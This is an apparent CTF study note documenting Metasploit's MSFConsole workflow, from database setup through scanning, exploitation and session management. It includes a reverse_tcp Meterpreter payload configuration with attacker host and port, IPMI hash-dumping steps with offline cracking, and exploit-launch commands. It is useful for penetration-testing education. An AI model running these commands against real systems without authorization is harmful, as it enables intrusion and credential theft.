tools

Overview

MSFConsole is the primary interface for the Metasploit Framework. It provides an interactive command-line environment for loading modules, configuring parameters, running scans, launching exploits, and managing active sessions. All framework functionality is accessible through MSFConsole. This note follows the logical CTF workflow from first launch through active session management.

Target / Context

Used during the enumeration, exploitation, and post-exploitation phases of any engagement. Part of Metasploit — see that note for module types and payload reference.

Installation

ℹ︎Installation Commands:

MSFConsole is installed as part of Metasploit Framework:

sudo apt install metasploit-framework

Initialize the database on first use:

systemctl start postgresql
msfdb init

Basic Usage

ℹ︎Basic Usage: 
msfconsole

Verify database connection after launch:

db_status

Flags & Options

ℹ︎Flags & Options:
FlagDescriptionExample
-qQuiet mode — suppress banner on launchmsfconsole -q
-r <file>Run a resource script on startupmsfconsole -r setup.rc

Common Use Cases

Step 1 — Database Setup

Run once before starting work. The database stores scan results, hosts, and services across sessions.

ℹ︎Commands: 
systemctl start postgresql
msfdb init
msfconsole
db_status

Create a workspace to keep engagement data organized:

workspace -a <name>

List all workspaces

workspace

Switch to a workspace

workspace <name>

Show workspace help

workspace -h

Step 2 — Navigation

Finding and loading modules.

ℹ︎Commands:

Show all available commands

help

Show command history

history

Search modules by keyword

search <term>

Filter by module type and keyword

search type:auxiliary telnet

Search by CVE number

search cve:2017-0144

Load a module by full path

use <module path>

Load a module by search result number

use <number>

Show full details about the loaded module

info

Display all configurable parameters for the module

show options

List compatible payloads for the current exploit

show payloads

Unload current module and return to root prompt

back

Step 3 — Setting Parameters

Configure the module before running it.

ℹ︎Commands:

Set target IP

set RHOSTS 10.10.10.1

Set target subnet

set RHOSTS 10.10.10.0/24

Load targets from file

set RHOSTS file:/path/to/targets.txt

Set target port

set RPORT 445

Set payload

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set payload <number> — set payload by number from show payloads Set attacker IP

set LHOST 10.10.10.5

Set attacker listening port

set LPORT 4444

Set session for post-exploitation modules

set SESSION 1

Set globally across all modules

setg RHOSTS 10.10.10.1

Clear a single parameter

unset <parameter>

Clear all parameters for the current module

unset all

Clear a global parameter

unsetg <parameter>

Verify all parameters are set correctly before running

show options

Note: Parameters reset when switching modules. Use setg to persist values globally.

Step 4 — Scanning

Discover hosts, open ports, and services using auxiliary modules before exploiting.

ℹ︎Commands:

Find available port scan modules

search portscan
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 1-1000
set THREADS 10
run

UDP sweep:

use auxiliary/scanner/discovery/udp_sweep

SMB enumeration:

use auxiliary/scanner/smb/smb_enumshares
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/smb/smb_login

MSSQL discovery:

use auxiliary/scanner/mssql/mssql_ping

IPMI version and hash dumping:

use auxiliary/scanner/ipmi/ipmi_version
use auxiliary/scanner/ipmi/ipmi_dumphashes
set OUTPUT_JOHN_FILE ipmi.john
run

— Exploits the RAKP flaw: the server returns a password hash for any valid username; crack offline with Hashcat (-m 7300) or JohnTheRipper (—format=rakp)

You can also run Nmap directly from within MSFConsole:

db_nmap -sV 10.10.10.1

Results are automatically stored in the database.

Step 5 — Database Workflow

Use the database to manage discovered hosts and services and feed them directly into modules.

ℹ︎Commands:

List all discovered hosts

hosts

Set RHOSTS to all hosts in the database

hosts -R

Show hosts command help

hosts -h

List all discovered services

services

services -S <name> — filter services by name (e.g., services -S smb) Show services command help

services -h

Efficient workflow: db_nmap -sV 10.10.10.0/24 → review hosts → use vulnerability module → hosts -R → exploit

Step 6 — Running Exploits

Launch the configured module against the target.

ℹ︎Commands:

Run the exploit and wait for a session

exploit

Alias for exploit

run

Run exploit and immediately background any resulting session

exploit -z

Test whether the target is vulnerable without exploiting (supported modules only)

check

If the exploit succeeds, a session opens automatically.

Step 7 — Session Management

Manage multiple active sessions after exploitation.

ℹ︎Commands:

background — send active session to background (also CTRL+Z from Meterpreter) List all active sessions

sessions

Interact with a specific session

sessions -i <number>

Kill a session

sessions -k <number>

After interacting with a session, see Meterpreter for post-exploitation commands.

Jobs

Run an exploit as a background job to keep the prompt free for other work, or to manage multiple exploit listeners simultaneously.

ℹ︎Commands:

Run the current exploit as a background job instead of blocking the console

exploit -j

List all active background jobs

jobs -l

Kill all running jobs

jobs -K

Kill a specific job by number

kill <number>

Show job command help

jobs -h

Jobs are distinct from sessions: a job is an active listener or running module in the background, not yet an established session. Once the target connects, the job becomes a session.

Plugins

Plugins extend MSFConsole with third-party tool integrations and automation utilities. They interact directly with the Metasploit API and add new commands to the console after loading.

ℹ︎Commands:

Check installed plugins:

ls /usr/share/metasploit-framework/plugins

Load a plugin: load <name> — e.g., load nessus After loading, run help to see the new commands added by the plugin.

Install a new plugin manually (example — Darkoperator’s plugin set):

git clone https://github.com/darkoperator/Metasploit-Plugins
sudo cp ./Metasploit-Plugins/pentest.rb /usr/share/metasploit-framework/plugins/pentest.rb

Then from within MSFConsole:

load pentest

Popular third-party plugins not pre-installed: Railgun (Windows post-exploitation via WinAPI): https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Railgun-for-Windows-post-exploitation Darkoperator’s plugin collection: https://github.com/darkoperator/Metasploit-Plugins

Writing & Importing Modules

Custom or community-written .rb exploit modules can be imported into Metasploit without a full framework update. Only .rb files can be loaded — Metasploit modules are Ruby.

ℹ︎Commands:

Search ExploitDB for Metasploit-tagged exploits from the CLI:

searchsploit <keyword>

Filter results to the “Metasploit Framework” tag to find .rb files ready for import.

Copy a downloaded module into the framework:

cp ~/Downloads/exploit.rb /usr/share/metasploit-framework/modules/exploits/<os>/<service>/exploit_name.rb

Naming convention: snake_case, alphanumeric and underscores only — no dashes. Example: nagios3_command_injection.rb

Load an additional module directory at startup:

msfconsole -m /path/to/modules/

Load an additional path from within MSFConsole:

loadpath /usr/share/metasploit-framework/modules/

Force-reload all modules from all known paths

reload_all

Modules merged into the official metasploit-framework GitHub branch are auto-imported when the framework is updated via apt.

References / Images